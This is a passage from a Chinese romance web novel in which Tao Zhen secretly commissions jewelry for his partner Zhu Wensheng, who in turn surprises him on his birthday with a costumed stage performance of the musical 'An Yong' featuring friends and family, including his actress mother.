设计师一个踉跄和赵钊滚倒在沙发里,难以置信地“呜呜”了两声。赵钊怕他乱说话,干脆挪了挪身子,伸手捂住他的脸颊。两个人就这么莫名其妙地滚在了一起。 祝闻声:“……” 场面一时太过震撼,他险些忘了自己刚刚原本要说些什么,有些茫然地看向两人。 赵钊干笑着抬起头,用力地冲祝闻声眨了眨眼:“……原谅我,一时间情绪上来了,没忍住。” “不是他不想卖,但这是他的作业,现在要是卖给你了,他等一下在考试当中拿什么出来?岂不是要被判零分?你再等一等,等他考试结束,就把这个卖给你……对吧?” 赵钊的后一句是对设计师说的。正跟他贴得死紧的设计师微微一愣,恍然大悟,旋即脸蛋一红,面上有些显而易见的娇羞:“嗯嗯。” “……” 祝闻声揉了揉眉心,显然是不知道这个世界怎么了。 反正……只要这名设计师能够将这东西卖给他就好,迟一段时间也没关系。不过被赵钊这么一搅和,他显然也失去了留在这里的耐心,干脆站起身准备离开。 赵钊依然和设计师贴在一块,目送着祝闻声下楼,在原地喊了一声:“拜拜!路上慢点!” 发动机的嗡鸣响起,黑色汽车渐渐消失在夜色里。 赵钊立刻弹跳起步,脚步虚浮、面色灰白地离开了那名设计师,摸了摸自己的身体,喃喃自语般说了一阵“我不干净了”、“我脏了”。 那设计师撅起嘴冲他抛了个媚眼,施施然地坐起身:“怎么了小帅哥,这话应该我来说吧,不是你主动过来抱我的吗?” “……” 赵钊险些两眼一黑倒下去,但是又怕自己倒下去之后这设计师会给自己做人工呼吸,所以又硬生生地撑住了。 他连滚带爬地离开了工作室,回到家冲了一遍澡,才拿起手机,哆哆嗦嗦地给陶真发了条消息。 那头本该在跟贾嘉他们聚餐的陶真却秒回了,甚至还给赵钊拨了个电话来:“喂?钊哥!真是太感谢你了,过程还顺利吗?” “顺、顺利。”赵钊深吸了一口气,眼含热泪,“事、事情,都已经帮你搞定了,你、你放一百个心……” ……明明说着顺利,可赵钊的语气却一副生无可恋的样子。陶真有些欲言又止,还是没忍住问他到底发生了什么。 赵钊张了张嘴,不知该如何开口,最终只好相当悲怆地说:“……你只需要记住,我是真的把祝闻声和你当兄弟!我为你们付出了一切!包括我的尊严!!” “嘟嘟”两声,电话挂断。 陶真有点懵,他不是就让赵钊帮忙把祝闻声带到珠宝工作室量一下颈围尺寸、选一下款式吗? 怎么就……就上升到尊严的地步了呢? 恰在这时,家门突然传来“滴滴”开锁的响声,是祝闻声回来了。 陶真赶忙放下手机,装成一副若无其事的样子,笑着扑过去:“阿声,你回来啦?欢迎回家!” 祝闻声一如既往地托抱住他,低头亲了他一口,只是面上的表情有些出神,仿佛遭受到了什么打击似的,半晌才道:“……嗯,回来了。” 怎么连祝闻声都露出了这副表情,量尺寸的时候真的没发生什么事情吗? 陶真心里一紧,赶快捧住他的脸:“怎么啦?我看你好像有点不开心的样子……” “……没有不开心。”祝闻声罕见地沉默了片刻,斟酌着说,“就是觉得赵钊——我朋友,可能有点失心疯了。” 陶真:“……” 陶真:“啊?”- 通常来说定制珠宝的制作周期都很长,并不能在短短一周内完成。但这次是特殊情况,陶真拜托了许多人,也托赵钊找了关系,这才跟工作室约好了收货周期。 设计稿确定之后的第二天,那边就加班加点、到处调人手来帮忙制作;第四天时,就已经给陶真发来了一张制作中的实物照片。那一枚项圈,那两枚戒指……看起来就和设计图上一模一样,甚至比图还要好看一些。 陶真忍不住抱着手机沉浸式欣赏了许久,被助理小鱼的一通电话打断了思绪。他倒也没有生气,语气轻快地接起:“喂,小鱼,是有什么事情吗?” 那头的女孩连忙道:“陶真哥下午好,没什么事儿……” “只不过,公司看见你生日快到了,想问你要不要安排一下给粉丝的福利?” 跟现在的明星过生日的时候会举办生日会请粉丝来参加一样,博主们也越来越愿意在过生日的时候搞粉丝抽奖、回馈粉丝。毕竟大家都是靠粉丝、靠观众吃饭的。 陶真原本便对这种做法有所耳闻,况且他本身就很感谢能有这么多人愿意当他的听众,自然一口答应了:“可是,我不知道送什么比较好。” “就给他们抽奖发红包什么的?我以前不过生日的时候也总发……要不然,我赶快买些礼物包装好给他们寄过去?就是不知道现在还来得及……” 见他答应了,小鱼便松了口气:“没关系哥,这个你就别担心了!抽奖的博文和东西都由公司准备,毕竟帮你维护运营也是我们工作职责的一部分……你有空的话和大家说一声就行。” 说完,小鱼匆匆地挂了电话,拒绝了陶真给她的转账。陶真挣扎无法,只好放弃。反应过来之后,心里涌起了一阵情绪。 都由公司准备……若是之前,陶真肯定不明白。但现在他知道,Z时代原先是在祝闻声手底下的,所以才会给他那么好的合同、那么好的待遇。 哪怕现在祝闻声不管那些事情了,他的合同在这里,公司也一定不会苛待了他。 哎……怎么办,更加希望能尽早收到设计师做好的颈环和戒指了! 陶真抿了抿唇,没忍住在床上翻身打了两个滚,兀自乐了半天才拍了拍脸颊,想起来刚刚小鱼提醒他的话。 点开软件,登录账号,将自己即将过生日、并且会为大家准备一些粉丝福利的消息发了出去,没多久这条博文的评论区便呼啦啦地涌进来了一大波人,嗷嗷地叫唤了起来,多到陶真来不及看。 他本来以为大家最关注的问题可能是他要在送大家什么福利,但没想到根本没什么人问这个,反而将关注点全部都放在前缀上。 一条评论更是被顶到了最上面:【宝宝要过生日啦?!怎么不提前一点说啊啊啊!我们给你准备生日贺图和视频啊!!】 陶真微微一怔。 顺着这条评论往下看,发现这样说的姑娘还不在少数。 距离他第一次发视频到现在,也有将近大半年过去了,一开始他认识的那几个眼熟的面孔都还在,甚至在他的个人话题里混到了主持人的地位。 大家喜欢听他唱歌,喜欢和他在直播时聊天,所以才会一直陪伴在他身边。知道他过生日给大家发福利的第一时间,不是问福利到底是什么东西,反而是想着为他庆祝。 哪怕他们没有见过面,哪怕他们之间只是通过网络一线牵…… 这份情谊却是真的,已经比许多关系还要珍贵。 陶真抿了抿唇,心里很暖。 他一个人闷着头回复了半天评论区,一直到晚上祝闻声回来,才终于放下手机,高高兴兴地扑进了祝闻声怀里。 天色已晚,四周昏暗;家里的灯骤然打开,金发少年有点不适应的眯起了眼,一双乌溜溜的杏子眼里染上了些许红血丝,连鼻尖也是通红的,一副看上去被谁欺负过的模样。 祝闻声动作微微一顿,指腹轻轻划过少年的眼尾:“怎么了?” 陶真却只是摇摇头,弯起眼,想了半晌,兴高采烈地向他展示了一下自己的评论区:“我很高兴。” “因为……有很多人喜欢我。” 祝闻声的指腹停在原地。 片刻后,他弯起唇,低声说:“那,我是很多人里,最喜欢你的那一个。” “……” 陶真慢慢红了脸,半晌捧住祝闻声的脸用力亲了一口。 祝闻声则任由陶真像个小朋友一样用力亲完,才垂下眼,搂住他的后颈,撬开他的唇,与他交换了一个缠绵湿热的长吻。 一吻毕,二人的呼吸都有些急促。 昏黄柔软的灯光下,两人的胸膛起伏着,鼻尖几乎快要碰到一起。 陶真的眸光有些涣散,鼻翼翕动着,有点难耐地低哼了一声,几乎下意识地挂到祝闻声身上。 祝闻声也没好到哪里去,幽深的眸光有些沉,喉结上下滚了滚,用膝盖拨开了陶真并起的腿弯,抵靠进去。 此时此刻的氛围正好,不发生点什么仿佛都有些说不过去。 但就在两人即将进行下一步时,他们突然不约而同地停下了。 陶真一骨碌翻到了一边,深吸了一口气,压下了心底的那份躁动情绪:“阿声……我有点饿,没什么力气……” ——不行,不能现在做。马上就要过生日,要跟那么多家人朋友见面,而且他还得去拿颈环和戒指送给祝闻声,若是现在就腰废了,之后还怎么办? 祝闻声也克制地直起身,挪开视线,声音有些微微的沙哑:“……嗯,好。那我先去做饭。” ——小不忍则乱大谋,事情到最后关头了,他不能这么自私。况且他明早六点多就要出门,还有很多事要做,时间上来不及。 窸窸窣窣的一阵响动之后,祝闻声大跨步地走到厨房做饭,陶真则迈着僵硬的步子拐进了浴室。 心怀鬼胎的两人若无其事地压下了擦枪走火,竟然在某种意义上,实现了“柏拉图”式恋爱。 67 ? 第 67 章 ◎“欢迎你,终于走到了这里。”◎ 压抑的日子过了两三天, 终于,日历来到了七月二十二号。 一早上,祝闻声还没起床, 陶真便早早地爬了起来。 原因无他,昨天晚上设计师他们紧赶慢赶、加班加点, 终于将颈环和戒指的最后一点细节搞好了,匆匆忙忙地打包完,约定好今天让人给他同城送货上门。 陶真心中记挂着这件事情, 昨天晚上躺在床上跟烙煎饼似的翻来覆去睡不好,统共也就眯了几个小时。一收到发来的消息, 就立刻从床上弹了起来,囫囵套了两件衣服,便鬼鬼祟祟地跑到了门口,签收快递。 箱子入手沉甸甸的, 面单上写着私人定制物品, 小心翼翼地拆开, 发现里面还有一堆厚厚的防震泡沫。好不容易跟剥洋葱一样一层一层地拆开,终于拿到了那枚装着首饰的法兰绒盒子。 深蓝色, 在清晨的阳光下显得格外神秘。 陶真怀揣着紧张的心情,正要拆开那盒子一探究竟, 就忽然听见自己放在身边的手机“叮铃铃”地响了起来。他本就做贼心虚,这会被吓了一大跳,手忙脚乱地接了起来:“喂?” “喂,真宝。你醒了吗,我们想跟你说个事儿。” 电话那头的人开口, 竟然是顾行舟和佟夏, 两人哭丧着脸, 语气听起来遗憾且愧疚,“我们不是本来跟你说好今天要南城来和你一起过生日的嘛……但是,我们俩不小心错过了昨天晚上的飞机,今天要是飞过来的话,可能要下午才能到了。” 扑通扑通狂跳的心脏情不自禁地捏紧,在听两人全说完之后才松了下来,陶真连忙宽慰道:“哦,这样呀,没关系的!” 不过是前后几个小时的差别而已,朋友能为他千里迢迢地赶来,他已经感动的不行了:“你们路上小心,千万不要着急,等到了南城给我打个电话,我去接你们……” “不用不用不用!” 闻言,顾行舟和佟夏疯狂摇头:“你可是小寿星,哪里有让寿星跑来接我们的道理?!而且本来就是我们自己误了时间……你放心吧,我们有两个人呢,安全得很。千万别为了我们浪费时间啊,不然我们可要生气的!” 两人态度坚决,陶真无法,只好挂断电话。 但他心里还是有些过意不去,想了想,打算自己查一下从宣城到南城的航班,安排司机去接他们。 然而,才刚刚打开网站,没来得及浏览,便忽然听见身后卧室的门被打开,一道脚步声由远及近。 “真宝……你在外面吗?” 是祝闻声的声音! 陶真吓了一跳,暗道一声完蛋。顾不上再看什么航班不航班了,把手机一甩,匆忙转过身,抱起了那个还没来得及打开的深蓝色首饰盒,在四周转了一圈,没看到什么能放下它的地方,急得团团转。 脚步声越来越近,他咬牙,干脆又将它重新塞回到了刚刚的箱子里。 就在塞好的那一刹那,祝闻声从卧室里走了出来:“真宝?怎么不说话?” “我……” 陶真头皮发麻,脚趾抠地,生怕祝闻声看见他身后的箱子,不动声色地往那里靠了一步,若无其事地强装镇定, “我刚刚在跟夏夏他们打电话呢,没注意听……你呢?怎么起这么早呀?” 所幸祝闻声似乎并没有第一时间看见他身后的箱子,只回答了他的问题:“刚刚叔叔说你的电话打不通,所以联系我,让我跟你讲一声。” “他的工作已经忙完了,但是阿姨那边才上飞机,他们到南城的时间会晚一点。” “……啊?”陶真一怔。 晚?怎么又要晚一点? 若是刚刚没有接到佟夏或是顾行舟的电话也就罢了,恐怕也不会觉得有什么,但现在这几个人全部都要晚到…… 陶真蹙起眉,脑海中渐渐浮现了一个模糊的念头。 恰在这时,面前的祝闻声却忽然上前一步,指了指他的身后:“这箱子是什么时候出现的?” “啪”地一声,那模糊念头如电光一般快速划过。 陶真浑身一惊,再也顾不上什么早不早晚不晚的了,匆忙往后踢了一脚:“没什么,我正要问那个商家呢,在网上买的东西怎么给我发了个空包裹……” 祝闻声扬眉,身体微微前倾,似乎想看清箱子面单上面写的是什么内容:“是吗?” 陶真干笑,默不作声地上前一步,挡住他的视线,一双乌溜溜的大眼睛里写满了真诚:“……是啊。” 祝闻声不说话了,但眉梢仍然扬着。 他幽深的眸望着陶真,仿佛看透了什么似的,慢吞吞地朝半空中伸出了手—— 陶真头皮发麻,整个人都快炸了,条件反射地握住祝闻声的指尖,嘴巴比大脑还要快:“所以你说,他们为什么都晚一点到啊?” 四周突然安静,鸦雀无声。 半晌,祝闻声骤然直起了身子,语气一如既往地平静:“……我也不知道。” 气氛陷入了诡异的凝滞,两人对视,一时间大眼瞪小眼。 片刻后,陶真试探性地往后挪了两步,将箱子藏在自己的身后:“那,我先去卫生间洗漱一下啦?” 祝闻声不动声色地松了口气,也飞快地“嗯”了一声:“我去厨房。” 心怀鬼胎的两人各自分开,陶真在水池前匆忙撕掉快递面单、扔到马桶里冲掉,又抓紧时间把首饰盒塞到了随身携带的包里,终于松了一口气,刷牙洗脸。 祝闻声则在灶台旁热锅,抓紧时间给佟夏和陶大俊都打了电话,嘱咐他们最后检查一遍整体流程,千万不要再画蛇添足地给陶真发消息,这才关闭手机。 等陶真从卫生间出来时,祝闻声刚好解下围裙。 黑发青年抬起眼,端着热气腾腾的长寿面走到餐桌旁,语气温和:“生日快乐,陶真。” 他亲手下的长寿面,面条煮得时间刚刚好,酱油汤上点缀着碧绿的小青菜和葱花,还窝了一只金黄的煎蛋。 从早上到现在的紧张忽然一扫而空,陶真脚下步子一顿,弯起眼:“谢谢你呀阿声!” 他小心翼翼地接了过来,坐下来尝了一口。 面条就是最朴素的家常味道,没什么花哨,但是入口温烫,熨帖舒适,十分好吃。量很大,他只吃了一半,剩下来的都由祝闻声解决了。 不知不觉,时间已经来到了上午九点。 朋友和家人都不在,那些需要几个人才能玩的活动一个都安排不起来,白天莫名变成了两人的二人世界。 陶真的心不由自主地快了一些,悄悄扫了一眼身侧的包,想趁着这个时间,找个浪漫的地点将东西送给祝闻声。 然而就在他斟酌着怎么开口的时候,洗完碗的祝闻声走了过来,问道:“真宝,等下有空和我一起去拿衣服吗?” 陶真一愣,有点惊奇地睁大眼:“……什么衣服?” “上一次见叔叔阿姨的时候实在是太仓促、太狼狈了,这次我想好好准备一下,至少要给他们留下一个好印象,”祝闻声慢条斯理地解释,“所以前几天去定了西服,顺便替你带了一套。刚好你今天过生日,穿得正式一些,也没什么不好。” 有理有据,令人信服。 穿上西服,也会更适配他准备送给祝闻声的颈环。 陶真精神一振,立刻爽快地答应了:“好啊!” 祝闻声下楼开车,陶真则抓紧了装着首饰盒的包,二人即刻出发。 定制西服的工作室离陶真现在住的房子还有一定的距离,开车需要一定时间,路上还会经过南城西边最有名的演艺中心,室内剧场。 这剧场的规模很大,这些年承办的一直都是各种著名的音乐剧演出,据说之后林曼妙在国内的巡演也会在这里,陶真忍不住扭头多看了两眼。 建筑相当恢弘大气,由英国顶尖剧院设计团队参与规划设计,以古罗马竞技场为原型,整体呈圆柱形,线条流畅优美。顶端的玻璃穹顶反射着阳光耀目的光辉。 因为算是南城的地标性建筑之一,所以前来打卡的游客络绎不绝,只有在有音乐剧表演的时候才会有保安负责现场秩序。 奇怪的是,今天按理来说是没有音乐剧在这里演出的,剧院门口竟然也被安保包围着,不允许任何游客进入。 为什么会这样? 心中略微有些惊奇,陶真掏出手机,刚想搜索,却忽然感觉身体一偏,车辆左拐,驶离演艺中心,刹停。 “我们到了。” 祝闻声给车辆熄火,陶真只好将掏到一半的手机塞了回去,抓着包跳下车。 映入眼帘的是一栋漂亮的二楼洋房,大约是听说他们会来,门口已经有穿着工作服的店员在等待,脚步轻快地将他们引入店内。 店里一层左侧的衣架上挂着一些成品服装,右侧则挂着一些别的客人定制好、但还尚且未来得及取的衣服。 料子和版型都相当上乘,并不是传统的西装,设计非常大胆,运用了很多夸张的元素,倒是容易令人想起……演出服。 陶真眨眨眼,想要靠近一些,却被一旁的店员适时打断:“二位好,请跟我到二楼来。” 他只好收回目光,跟一旁的祝闻声一块匆匆踩上楼梯。 二楼是一个更加类似于妆造室的地方。几个看起来相当老练的化妆师严阵以待,见他们一来,立刻请他们在凳子前坐下,动作看似温柔、实则强硬地握住他们的脸,殷殷切切地问他们昨天晚上到底是几点睡的。 陶真眼下略微有些青黑,昨晚的确没睡好,被问到时有些心虚,可很快却又意识到不对:“那个,你们是不是搞错了?我们是来拿衣服,不是来化妆的……” 他虽然不是直男,但跟顾行舟这种纯粹的娇俏小零又不太一样,基本从不化妆,料想祝闻声肯定也和自己一样,便不由自主地朝他投去求助的目光:“对吧阿声?” 祝闻声“嗯”了一声,旋即为他解释:“我听说他们这里有位顾客上完妆才给试衣服的传统。” “……”这么唬人的话,陶真竟然信了。 他了然,看向一侧的化妆师:“辛苦了!” 化妆师微笑着应了,抬手拿过桌上的一瓶喷雾为他洗了个脸。 桌上的化妆品简直琳琅满目,陶真在这一刻才深刻地意识到自己多像一个不解风情的钢铁直男,不明白为什么一个底妆要分这么多步骤,只感觉自己的脸简直变成了面团,任由化妆师搓圆揉扁。 这里刷,那里铺,各种触感的化妆刷和粉扑齐上阵;眉毛、眼睛、鼻子、嘴巴……脸上手指纷飞。 不知过了多久,终于到了最后一层定妆喷雾。陶真努力忍住揉眼睛的冲动,松了口气:“结、结束了吗?” 他有点羞耻,却又有点好奇,刚想要去看看镜中的自己,就被造型师挡住了视线。 “结束了。更衣室在左手边,换衣服时千万小心,不要碰到脸。” 视线和镜中的自己擦肩而过,陶真有些遗憾。 下意识地抬手接过了造型师递来的衣服,在指引下走到更衣室,打开袋子的瞬间,微微一愣。 ——外面深黑色的西装掐腰,带着细闪。里面的衬衫则是丝绸质地,在顶光灯下如细腻的奶油般融化,极为漂亮。领口搭配的那枚宝石胸针更是点睛之笔。 刚刚在楼下看见的那一眼不是错觉,手头拿到的衣服,比起正式场合的礼服,的确更像是演出服。 而且他好像曾经在哪里看见过,相当眼熟。 ……到底是,在哪里呢? 陶真深呼了一口气,心脏渐渐地快了起来。 为了保持衬衫平整,袋子底下配了衬衫夹,需要扣在大腿上。陶真以前自己也穿过,但不知为何今天有些手抖,扣了几下都没扣好。 正在着急忙慌时,更衣室的帘子忽然被人轻轻拉开,一道高大的身影俯靠下来,单手抬起了他的腿弯。 看朦胧的轮廓就知道来人是祝闻声,陶真如释重负般松了口气:“谢谢阿声,我弄了好几次都没弄好……” 话音未落,他抬起眼,整个人却蓦地怔住,瞪大了双眼。 来人是祝闻声,却又好像不是。 祝闻声向来冷峻的脸上含着点微微的笑意,锋利的眉眼被化妆师简单的处理过,更显几分温和,唇瓣微红。 上身穿着一件编织着细密金丝的深黑色西装外套,里面的衬衫如同红酒一般缓缓流淌,反射着耀眼的光泽。 胸口插着一朵挂着露珠的白玫瑰,高贵,优雅,带着濒临破碎的惊艳。 这套装扮,这个模样……俨然是从《暗涌》里走出来的角色。 这是男主角至交好友的“经典皮肤”! 他最喜欢的人,竟然扮演成他最喜欢的音乐剧里的角色,活生生地走到了他面前…… 陶真恍然,感觉脑袋“嗡”得一声烧了起来,整个人都快热炸了。 若是这会再不知道这是祝闻声给他准备的惊喜,那他就真是个傻子:“阿声!你特意为我准备的吗?你怎么之前不跟我讲呀!我……” “——嘘。” 祝闻声唇边挂着柔和的笑意,伸出食指抵靠在唇前,向后退了一步,躬身做了一个绅士礼,为他拉开了更衣室的门帘。 陶真话到嘴边骤然被摁下,憋得浑身难受,有些不明所以地往前走了一步,对上化妆台的镜子。 暖黄色的灯光从头顶倾泻下来,拂过他的金发,朦胧勾勒出他化完妆后漂亮却阴郁的小脸,又继续往下,落在那枚闪烁着璀璨光芒的宝石胸针上。 宝石胸针,丝绸衬衫,阴郁模样……从进入妆造室时就有的隐约预感成了真,难怪祝闻声刚刚没让他开口,原来是因为他在不知不觉中,也饰演成了《暗涌》的男主角。 陶真彻底呆住,全身的血液仿佛在一瞬间凝结成冰,又在下一瞬燃烧至沸腾。 “我……”他有些结巴,“我怎么……” “莱恩少爷,”祝闻声弯腰牵住他的手,“请跟我来。” “……” 这是……已经进入角色状态了? 陶真深吸了一口气,勉强安抚下自己躁动的心思,轻声说了一句“好”,跟在祝闻声身后一块往外走。 两人的东西已经提前被店员收拾好放到了后座,直接上车就可以出发。汽车右拐,出了这条街道,不出意料地驶回了在来的路上看见过的演艺中心。 普通打卡的游客们被安保拦在外面,他们的汽车却畅行无阻地驶入了场馆旁。 陶真闭了闭眼,心脏跳得越来越快,感觉自己渐渐明白了一切。 也许早上佟夏他们缺席,就是和祝闻声约好了,要把这段时间留给他们过二人世界。 祝闻声谋划了许久,定制服装,请人化妆,和他分别扮演成剧中的男主和男主好友——就像现在网络上很火的那种cos委托一样。 只不过别人的委托最多只是去普通的商场吃饭看电影,他男朋友比较牛逼,带他到剧场里沉浸式体验。 “莱恩少爷,请。” 听见青年低哑的声音,陶真回神,伸手搭上他的手臂借力下车,想了想,又遵循人设矜持道:“谢谢你……卡尔洛。” 祝闻声微笑。 以往两人在一块,都是陶真笑着叽叽喳喳的说个不停,祝闻声安静聆听。可现在,陶真所饰演的莱恩是个有抑郁症的钢琴天才,祝闻声饰演的卡尔洛则是待人温和的街头艺人。 两人的角色好像反了过来,进入剧院前的这段路程里,都是祝闻声主动开口,陶真偶尔点头应和。 终于,二人推开了剧场的大门。 仿古罗马竞技场的二楼阳台交错排列,如同森森巨兽,室内灿金色的灯光如海浪一般铺满整片柔软的地毯,金碧辉煌。 能容纳下三千人的巨大剧场今天格外安静,好像只独独为他们两人开放,这种震撼直冲心底,难以言述。 陶真站在原地,情不自禁地失了神。 他一直都知道,自己离梦想还有很远的距离。 毕竟他才刚刚转了专业,没有系统性地学习过什么音乐剧的课程,也不可能仗着自己是林曼妙的儿子就抢占旁人的角色,不知道什么时候才能参与真正的演出。 但现在,能够和祝闻声一起饰演剧中的角色,来到这偌大的剧场……心底某个地方,好像要被填满了,幸福和满足几乎快要从眼眶里溢出来。 陶真闭了闭眼,不再遵循莱恩的人设,反而认认真真地扭头看向身侧:“谢谢你,祝闻声。” 他一直都梦想着,能够站到这样的剧场里演出。 尽管现在还不行,但有祝闻声带他来这里看一看,就够了。 四周寂静,空气沉默了几秒。 陶真双眸澄澈,映着点点璀璨的光芒。祝闻声定定地看了片刻,忽然微笑道:“莱恩,你在说什么?” 陶真一愣,也忍不住笑了:“……阿声,好啦。” “ 我知道你是想让我有体验感,但现在我已经满足了,我们——” 话音未落,他忽然感觉自己的手被祝闻声牵起。 两人一路奔跑向前,掠过周围连绵的看台,目的地明确,是舞台前方的池座。 陶真有些茫然,心脏不知是因运动还是因别的加速跳动起来,好不容易停下脚步,刚想开口,不远处忽然传来一道婉转的呼唤: “莱恩、卡尔洛,快过来!我和玛格达等你们好久了!” 一袭洛可可长裙的女孩抱着手风琴,兴高采烈地冲他们挥了挥手,神态间全是小女孩的活泼娇俏。 她身旁的“玛格达”踩着结实的靴子,一身劲装,高傲地仰着头,敲了敲手里卷着的乐谱:“别喊了,薇薇安。我想莱恩少爷大概是不想看我们的演出了,否则怎么会和卡尔洛这么慢?” “……” 陶真猛地抬起头,整个人都僵住了。 玛格达,薇薇安。 竟然是本该在飞机上的顾行舟,佟夏! “抱歉,路上稍微耽搁了一些时间。” 祝闻声微笑起来,大步跨上台,如同剧中的卡尔洛一般温和地说完,转身,冲陶真行了个绅士礼, “莱恩,约定好要让你来看我们演出的。现在,我们该开始了。” 在陶真还没反应过来的一瞬间,厅内灯光尽灭,唯有舞台灯光如昼。 巨大的、恢弘的音乐声响起,身后的布景唰然降下,台上的三人则骤然动了起来。 佟夏扬手掀起蛋糕式层层叠叠的裙摆往旁边一甩,一个漂亮的飞跃在一侧的高凳上坐下,拉起了手风琴,声音高昂地唱起一首欢快的歌。 顾行舟用几个小步跟上了她,为她展开手上的乐谱,高兴地冲祝闻声挥了挥手。祝闻声扭头深深地看了一眼陶真,也加入了他们,坐到了一旁的钢琴前,一起唱。 三人都是门外汉,临时抱佛脚学了一个星期,若不是有乐队的和声,实在难以恭维。 陶真终于回过神,听着听着,有些想笑。 可是笑着笑着,眼前就有些模糊。 一曲结束,三人如同剧目中那样走到他面前,正你一言我一语、叽叽喳喳地说些什么,不远处便忽然走来了一名贵族打扮的中年男性。 意料当中的,这人不是别人,正是本该在机场接人的陶大俊。他也是多年不打扮的老头子,这会儿化了妆,穿着贵族的衣裳,连走路都有点同手同脚。 陶真没忍住“噗哧”笑了出来,下一秒,泪意更加汹涌。 陶大俊自然注意到了台下的他,先是滑稽地冲他眨了眨眼,又伸手摸了一把人中上的小胡子,模样一本正经,语重心长地拍了拍三人:“怎么又是你们?早就和你们说过,不要和莱恩少爷呆在一起……还不快走,莱恩的母亲马上就要来了!” 按照剧情,三人夸张地惊呼一声,佟夏抓起手风琴、顾行舟抱着乐谱,两人拔足狂奔。祝闻声回头看了一眼陶真,也跟上他们,陶大俊紧随其后。 四人离台。 “莱恩”的母亲,也是他的母亲,《暗涌》的女主角,林曼妙,大跨步地上台。 她英姿飒爽,大步流星,眉宇间写满高傲,走到陶真的面前,菱唇微张。 陶真微微直起身,泪珠盈睫,心脏不自觉地提到了嗓子眼。 他知道她下一句该说什么,因为他曾将《暗涌》翻来覆去地看过无数遍。 在发现有抑郁症的钢琴天才儿子,与不伦不类的街头艺术家混在一起时,剧里的卡罗琳夫人将愤怒至极地斥骂他“你怎么在这里”。 果然,剧院内的追光明晃晃地打在二人身上,林曼妙居高临下地望着他,开口: “我的儿子——” 陶真屏住呼吸,正欲接话,下一秒,女人忽然抿住唇,仿佛不忍心似的冲他笑了笑,这辈子第一次说了错误的台词: “欢迎你,终于走到了这里。” 68 ? 第 68 章 ◎只需要说爱就足够。◎ 《暗涌》, 林曼妙曾演出过的音乐剧之一,并不是最令她出名、最被大众知晓的剧目,但它是陶真最喜欢的一部。 它改编于国外的某个并不出名的小说作品, 设置在半架空的时代,讲述了一个有关母子亲情和音乐的故事。 男主角莱恩生于一个所有人都羡慕的“音乐世家”, 尽管钢琴家父亲早早过世,但他拥有一个在国内相当出名的女高音母亲——女主角卡洛琳夫人。 也许是因为传承了父母的天赋,莱恩从小就在音乐方面展现出惊人的天赋, 年仅四岁就已经会爬到凳子上弹钢琴,被人们称为带着记忆转世的“音乐魔鬼”。所有听过他曲子的人都对他的赞不绝口, 而卡洛琳夫人自然是最为欣喜若狂的那个。 她对莱恩寄予厚望,将他当成家族未来的继承人,每天都变着花样地鼓励他、支持他、催促他创作。 莱恩从小就失去了父亲,每天在母亲的教导之下长大, 自然很听她的话。在别人都还在上学玩乐的年纪, 就已经创造出了一首又一首耳熟能详的曲目, 为身为女高音的母亲写歌。一时间,卡洛琳夫人在国内风头无两, 所有人都知道她家出了个天才。 但事情并不会这样一帆风顺地进行下去。莱恩渐渐长大,有了自己的意识, 发觉自己和旁人不一样。他每天都只能坐在钢琴前,远远地望着在窗外奔跑玩耍的小朋友,就好像在坐牢一样。他的心态产生了变化,连带着弹奏出的曲子也不再如一开始那般活泼欢快,甚至带上了发泄的痛苦意味。 卡洛琳夫人不能容许这样的事情发生, 她对莱恩的期望越来越大、要求越来越严格。可惜这样的压迫只会起到反效果, 让事情陷入死循环。果然, 某一天过后,莱恩再也创造不出任何的曲调了。 莱恩陷在痛苦的漩涡当中无法自拔,不敢去看母亲失望的眼神,所以只好用逃避这种方式来面对。他每天都将自己关在屋子里,什么话也不说,直到某个下午听见了从窗外传来的音乐声。 这是多么动听的曲子! 他情不自禁地打开窗户往外望去,发现了以卡尔洛为首的几位街头艺人正在高兴地为一帮小孩子演出。而那几名街头艺人也发现了他,高兴地冲他打招呼,交谈过后,几人自然而然地成为了好友。 莱恩发现,在和卡尔洛等人交流时,他心中的痛苦似乎减轻了,渐渐地也能重新找回对音乐的热爱。 但在当时的环境里,街头艺人是最为卑微低俗的工作之一,卡洛琳夫人不能容忍自己音乐天才儿子和这帮人混在一起,所以三番五次地阻挠莱恩,两人发生了激烈的争执。 莱恩不知道的是,卡洛琳这样逼他,也是有迫不得已的苦衷。实际上,在他的父亲去世之后,家族就陷入了混乱当中,从底部开始被蚂蚁蛀蚀。所有人都在虎视眈眈地觊觎着他们母子两人的身份、地位、遗产…… 他们生活在水深火热之中,随时都有可能丧命的风险。唯一的办法就是以音乐在国内知名,博取王室的喜爱,让所有人都看见他们的存在。可是现在的莱恩写不出曲子了,卡洛琳的状况越来越艰难,再这样下去,莱恩也会陷入危险。 尤其现在,新上任的王室暴躁疯狂,对艺术有着很高的追求,一旦没有听见喜欢的乐声就会发狂,将人拖去绞刑架。莱恩的那些街头艺人朋友也因为“亵渎了高雅的艺术”而被王室的人处置了。 玛格达、薇薇安,卡尔洛……一个接着一个地死去,终于,王室将目光投向了江郎才尽的莱恩。 莱恩这才恍然大悟卡洛琳的良苦用心,可为时已晚,他即将被推上绞刑架。行刑前夜,他本想跟卡洛琳说一声抱歉,却没有找到她人。 直到第二天被人从大牢中放出来,他才惊觉,卡洛琳取代了他的位置。 死亡,母亲愿意以身代之。 莱恩彻底崩溃了,疯狂了,从前那些压抑在心底的曲调如岩浆一般喷发了出来,彻底融化了母子两人之间的隔阂。 在刑场上,他创作出此生最好的曲调,高声与卡洛琳合唱,吸引了全城人的目光,谴责了草菅人命的王室。 《暗涌》,危机暗涌,音乐暗涌,母爱暗涌。 陶真喜欢这部音乐剧,不仅仅是因为林曼妙在剧中的演出尤其出彩,将那个嘴硬心软、极爱儿子的卡洛琳夫人演绎得活灵活现,更多还是因为这个故事本身。 很多次看这部作品时,他都从莱恩的身上看见了自己。 说到底,他们是一样的人。 他们都热爱音乐,都希望能够让自己的母亲满意。 唯一不同的是,莱恩比他厉害。莱恩在因过多的期待而崩溃之前,至少还是惊才绝艳的天才,让卡洛琳满意过。 而他从一开始就怀疑自己,从头到尾,一直都在给林曼妙丢人。 陶真甚至希望自己能够成为莱恩,希望自己能为林曼妙做些什么,而不仅仅是生活在她的光环和羽翼之下。 …… “欢迎你,终于走到了这里。” 面前的林曼妙温柔地注视着他,眼中含泪:“我什么都看见了。” 你的努力,你的坚持,你的痛苦。 你当博主的这么长时间,通宵彻夜地学习转专业,你因为爱我,而付出的一切。 你不需要成为痛苦的莱恩,因为我是无论如何都会爱你的卡洛琳。 陶真几乎眼泪决堤,声音哽咽,半晌才道:“……对不起,我来得太迟了。” “不,”林曼妙牵住他的手,“一点都不迟。” 